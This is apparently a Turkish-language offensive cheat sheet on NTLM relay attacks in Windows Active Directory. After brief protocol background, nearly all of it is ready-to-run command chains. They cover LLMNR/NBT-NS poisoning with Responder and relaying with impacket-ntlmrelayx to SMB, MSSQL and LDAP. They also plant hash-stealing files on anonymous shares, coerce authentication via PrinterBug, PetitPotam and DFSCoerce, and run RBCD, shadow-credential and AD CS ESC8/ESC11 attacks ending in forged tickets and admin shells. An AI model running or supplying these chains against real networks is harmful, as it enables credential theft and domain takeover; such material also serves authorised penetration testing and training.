NTLM Relay Attacks
NTLM Nedir?
Windows active directory ağlarında kimlik doğrulama için geliştirilmiş bir protokoldür.
Kerberostan daha güvensizdir.
NTLM's pass-through authentication
Bu kimlik doğrulama yöntemi hedef makine bir domain içinde ise gerçekleştirilir.

Workgroup Authentication
Eğer hedef makine domaine bağlı değilse parola hashini kendi SAM veritabanı ile kontrol eder.

SMB Signing ve SMB Sealing
SMB Signing: Sunucu ve kullanıcı arasındaki her adım kullanıcı ve sunucunun parola hashlerinin bir kombinasyonu ile imzalanır. Bu şekilde mesaj okunabilir fakat bir aradaki bir saldırgan tarafından değiştirilemez.
SMB Sealing: Her mesaj aynı yöntem ile imzalanır ve aynı zamande şifrelenir. Bu şekilde saldırgan mesajı hem göremez hem değiştiremez.
LLMNR, NBT-NS, and mDNS Poisoning
Bu protokoller ağda bir DNS sorgusu başarısız olduğunda devreye giren yedek protokollerdir.
Bir dns sorgusu başarısız olduğunda cihaz ağa bir broadcast mesajı gönderir ve bu sunucunun IP adresini bilen biri olup olmadığını sorar.
Biz bu adımda sunucunun IP adresini kendimiz olarak gösterirsek sunucu bize auth olmaya çalışır ve kimlik bilgisini gönderir.
# Sadece analiz eder poisoning yapmaz
responder -I eth0 -A
# Poisoning yapar
responder -I eth0
NTLM Relay
NTLM Relay ile kendimize gelen auth isteklerini istediğimiz makineye yönlendirebiliriz ve o kişinin yetkileri ile session alabiliriz.
SMB Signing kapalı olan hedefler etkilenir.
# SMB signing kapalı olan hedefleri listeler
nxc smb 10.0.0.0/24 --gen-relay-list relay.txt
responder-RunFinger -i 10.0.0.0/24
# Hangi servisi relay etmek istiyorsak onun sunucusunu kapatıyoruz
micro /usr/share/responder/Responder.conf
# Zehirlemeye başlıyoruz
responder -I eth0
# Responder'a gelen bağlantıyı hedeflere yönlendiriyoruz
impacket-ntlmrelayx -tf relay.txt -smb2support
# Default olarak SAM veritabanını çeker fakat istersek komut çalıştırabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -c 'whoami'
Ntlmrelayx
# Zehirlemeye başlıyoruz
responder -I eth0
# Bağlantıyı tek hedefe yönlendirir
impacket-ntlmrelayx -t smb://10.0.0.2
# Belirlediğimiz kullanıcıdan gelen bağlantıyı bir hedefe yönlendirir
impacket-ntlmrelayx -t smb://CORP\\JOHN@10.0.0.2
# Belirlediğimiz kullanıcıdan gelen ilk bağlantıyı bir hedefe yönlendirir
impacket-ntlmrelayx -t smb://CORP\\JOHN@10.0.0.2 --no-multirelay
# Socks4 portu 1080 olmalı
micro /etc/proxychains4.conf
# Socks bağlantısı kurabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
# Bağlantıları listeler
ntlmrelayx> socks
# Proxychains ile socks bağlantılarını kullanabiliriz
proxychains -q impacket-smbexec CORP/JOHN@10.0.0.2 -no-pass
proxychains -q impacket-smbclient CORP/JOHN@10.0.0.2 -no-pass
# Interaktif mod ile otomatik SMBClient bağlantısı kurulur ve nc ile bağlanabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -i
nc -nv 127.0.0.1 11000
MSSQL Üzerinden NTLM Relay
# SMB Serveri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Tek bir hedefe relay ediyoruz
impacket-ntlmrelayx -t mssql://10.0.0.2 -smb2support -socks
# Socks bağlantısı ile bağlanıyoruz
proxychains -q impacket-mssqlclient CORP/JOHN@10.0.0.2 -windows-auth -no-pass
# Doğrudan SQL sorgusu da yapılabilir
impacket-ntlmrelayx -t mssql://CORP\\JOHN@10.0.0.2 -smb2support -q "SELECT name FROM sys.databases;"
LDAP Üzerinden NTLM Relay
# SMB ve HTTP Serveri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Domain controller'da zafiyet varsa doğrudan relay edebiliriz
python cve-2019-1040-scanner/scan.py corp/john$:'pass123'@10.0.0.1
# Eğer zafiyet var ise her ntlmrelay çalıştırırken -remove-mic koymalıyız
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support -remove-mic --no-da --no-acl --lootdir ldap_dump
# Eğer zafiyet yoksa sadece HTTP istekleri relay edilebilir smb çalışmaz
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-da --no-acl --lootdir ldap_dump
# Relay ile computer oluşturulabilir
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-da --no-acl --add-computer 'JOHNPC$'
# Aynı zamanda relay edilen kullanıcının ACL yetkileri ile otomatik yetki yükseltmesi denenebilir.
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --escalate-user 'JOHNPC$' --no-dump -debug
Bütün Servisler Üzerinden NTLM Relay
# All protokolü ile bütün servislere relay yapabiliriz
echo "all://10.0.0.2" > relay.txt
# Bütün serverleri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Artık bütün relayleri socks üzerinden kullanabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
ntlmrelayx> socks
SMB Share ile Hash Toplama
# Anonim bir share arıyoruz
nxc smb 10.0.0.0/24 -u anonymous -p '' --shares
# Bu share'a girenlerin bize bağlantı göndermesini sağlayan dosyalar oluşturuyoruz
python ntlm_theft.py -g all -s 10.0.0.9 -f '@myfile'
# Anonim olan paylaşıma giriyoruz ve lnk veya url uzantılı dosyayı koyuyoruz
impacket-smbclient anonymous@10.0.0.2 -no-pass
put @myfile/@myfile.lnk
# Aynı işlemi nxc ile otomatik yapabiliriz
nxc smb 10.0.0.2 -u anonymous -p '' -M slinky -o SERVER=10.0.0.9 NAME=important
# Artık SMB share'a bağlanan herhangi biri hashini bize gönderiyor
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
WebDav ile Hash Toplama
# Webdav açık sunuculara bakıyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Eğer hiçbir WebDav açık değilse SMB Share üzerine searchConnector-ms dosyası koyuyoruz
# SMB share'a bağlanan kişilerin bize istek atarak webdav servisini açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.9/testing SHARE=smb FILENAME=@secret
# Webdav açık sunuculara bir daha bakıyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Anonim SMB açık olan sunucuya bu share'a bağlananların rastgele bir hedefe istek atmasını sağlayan dosya yerleştiriyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M slinky -o SERVER=NOAREALNAME@8008 NAME=important
# Artık Webdav servisi açık olan biri bu SMB share'a girerse bize bağlanıcak
responder -I eth0
# HTTP isteklerini LDAP komutları için kullanabiliriz
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-smb-server --http-port 8008 --no-da --no-acl --no-validate-privs --lootdir ldap_dump
MSSQL Hash Alma
# MSSQL servisine bağlanıyoruz
impacket-mssqlclient CORP/john@10.0.0.2 -windows-auth -no-pass
# Eğer bir mssql ele geçirdiysek kendimize SMB auth isteği gönderebiliriz
impacket-smbserver share Deneme -smb2support
exec xp_dirtree "\\10.0.0.9\Deneme"
PrinterBug (MS-RPRN)
# Printerbug ile sunucunun bize smb auth isteği atmasını zorluyoruz
python krbrelayx/printerbug.py corp/john:'pass123'@10.0.0.2 10.0.0.9
# Burada SMB isteği geliyor (Net-NTLMv2)
responder -I eth0
# SMB share'a bağlanan kişilerin bize istek atarak webdav servisini açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.9/testing SHARE=smb FILENAME=@secret
# Webdav servisi açılan sunucuları buluyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Webdav servisi açık olan sunucuyu rastgele bir webdav'a yönlendiriyoruz
python krbrelayx/printerbug.py corp/john:'pass123'@10.0.0.3 RANDOMNAME@80/print
# Bu sefer HTTP isteği geliyor (NTLMv2)
responder -I eth0
PetitPotam (MS-EFSR)
# Bu zafiyet ile kendimize smb auth isteği attırabiliriz
python PetitPotam.py 10.0.0.9 10.0.0.2 -u 'john' -p 'pass123' -d corp.local
# HTTP isteği attırmak için webdav açık bir sunucuya saldırabiliriz
python PetitPotam.py RANDOMNAME@80/files 10.0.0.2 -u 'john' -p 'pass123' -d corp.local
responder -I eth0
DFSCoerce (MS-DFSNM)
# Bu zafiyet ile kendimize SMB auth isteği attırabiliriz
python dfscoerce.py -u 'john' -p 'pass123' 10.0.0.9 10.0.0.2
responder -I eth0
Coercer
Otomatik olarak bütün coerce zafiyetlerini dener
# Sadece coerce tekniklerini dener
Coercer scan -t 10.0.0.2 -u 'john' -p 'pass123' -d corp.local -v
# Coerce teknikleri ile bize istek attırır
Coercer coerce -t 10.0.0.2 -l 10.0.0.9 -u 'john' -p 'pass123' -d corp.local -v --always-continue
# Webdav açık sunucuda http isteği attırır
Coercer -t 10.0.0.2 -u 'john' -p 'pass123' -wh RANDOMPC -wp 80 -v
Kerberos RBCD Saldırısı
# SMB share açan kullanıcıların webdav servisi açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.9/testing FILENAME=@secret
# Webdav açılan sunucuları listeliyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Poisoning başlatıyoruz
responder -I eth0
# Webdav açılan sunucuyu hedef alarak DC'ye yönlendiriyoruz ve kendi yetkimizi yükseltmesini istiyoruz
impacket-ntlmrelayx -t ldaps://CORP\\"SQL01$"@10.0.0.1 --delegate-access --escalate-user 'john' --no-smb-server --no-dump
# Printerbug ile hedef sunucunun bize http auth olmasını sağlıyoruz
python printerbug.py corp/john:'pass123'@10.0.0.3 RANDOM01@80/print
# Hosts dosyasına hedefi eklemeliyiz
# 10.0.0.3 sql01 sql01.corp.local
micro /etc/hosts
# Hedef için service ticket alıyoruz
impacket-getST -spn cifs/sql01.corp.local -impersonate Administrator -dc-ip 10.0.0.1 "CORP"/"john":"pass123"
# Bileti import ediyoruz
export KRB5CCNAME=Administrator.ccache
# Hedefe admin yetkilerinde giriş yapabiliyoruz
impacket-psexec -k -no-pass sql01.corp.local
Shadow Credentials Saldırısı
Bu yöntem için domainde bir sertifika sunucusu olmalı
# Poisoning başlatıyoruz
responder -I eth0
# Burada peter kullanıcısının james kullanıcısınun msDS-KeyCredentialLink özelliği
# üzerinde editleme yetkisi var yani shodow credential saldırısı yapabilir
impacket-ntlmrelayx -t ldap://CORP\\PETER@10.0.0.1 --shadow-credentials --shadow-target JAMES --no-da --no-dump --no-acl --no-smb-server
# NTLMrelayx komutunun en altında yazan komutu çalıştırıyoruz
impacket-gettgtpkinit -cert-pfx rbnYdUv8.pfx -pfx-pass NRzoep723H6Yfc0pY91Z CORP.LOCAL/james james.ccache
# James kullanıcısının biletini import ediyoruz
export KRB5CCNAME=james.ccache
# Artık james ile giriş yapabiliriz
evil-winrm -i dc01.corp.local -r CORP.LOCAL
NTLM Relay ile AD CS Saldırısı
# Sertifika sunucusunu buluyoruz
nxc ldap 10.0.0.0/24 -u 'john' -p 'pass123' -M adcs
# Sertifikaları listeliyoruz
nxc ldap 10.0.0.1 -u john -p 'pass123' -M adcs -o SERVER=CORP-DC01-CA
# Sertifika sunucusu zafiyetlerini listeliyoruz
certipy find -u 'john'@10.0.0.1 -p 'pass123' -stdout -vulnerable -enabled
NTLM Relay ile ESC8
# Gelen istekleri relay ediyoruz
certipy relay -target "http://10.0.0.1" -template Machine
# Hedefin bize auth olmasını sağlıyoruz
python printerbug.py corp/john:'pass123'@10.0.0.2 10.0.0.9
# Pfx dosyası ile NT hashini alıyoruz
certipy auth -pfx ws01.pfx -dc-ip 10.0.0.1
# Domain SID değerini buluyoruz
impacket-lookupsid 'CORP.LOCAL/WS01$'@10.0.0.1 -hashes :<NT_HASH> | grep -i domain
# Bir TGS bileti oluşturuyoruz
impacket-ticketer -nthash <NT_HASH> -domain-sid <SID> -domain corp.local -spn cifs/ws01.corp.local Administrator
# Bileti import ediyoruz
export KRB5CCNAME=Administrator.ccache
# Bileti servise bağlanmak için kullanıyoruz
impacket-psexec -k -no-pass ws01.corp.local
NTLM Relay ile ESC11
# Gelen istekleri DC'ye relay ediyoruz
certipy relay -target "rpc://10.0.0.1" -ca "CORP-DC01-CA"
# Bir makine hesabının bize smb auth olmasını sağlıyoruz
python printerbug.py CORP/john:'pass123'@10.0.0.2 10.0.0.9
# Makine hesabının NT hashini alıyoruz
certipy auth -pfx ws01.pfx -dc-ip 10.0.0.1
# Domain SID buluyoruz
impacket-lookupsid 'CORP.LOCAL/WS01$'@10.0.0.1 -hashes :<NT_HASH>
# Makine hesabı ile bir TGS bileti oluşturuyoruz
impacket-ticketer -nthash <NT_HASH> -domain-sid <SID> -domain corp.local -spn cifs/ws01.corp.local Administrator
# Bileti import ediyoruz
export KRB5CCNAME=Administrator.ccache
# Servise auth oluyoruz
impacket-psexec -k -no-pass ws01.corp.local
Last updated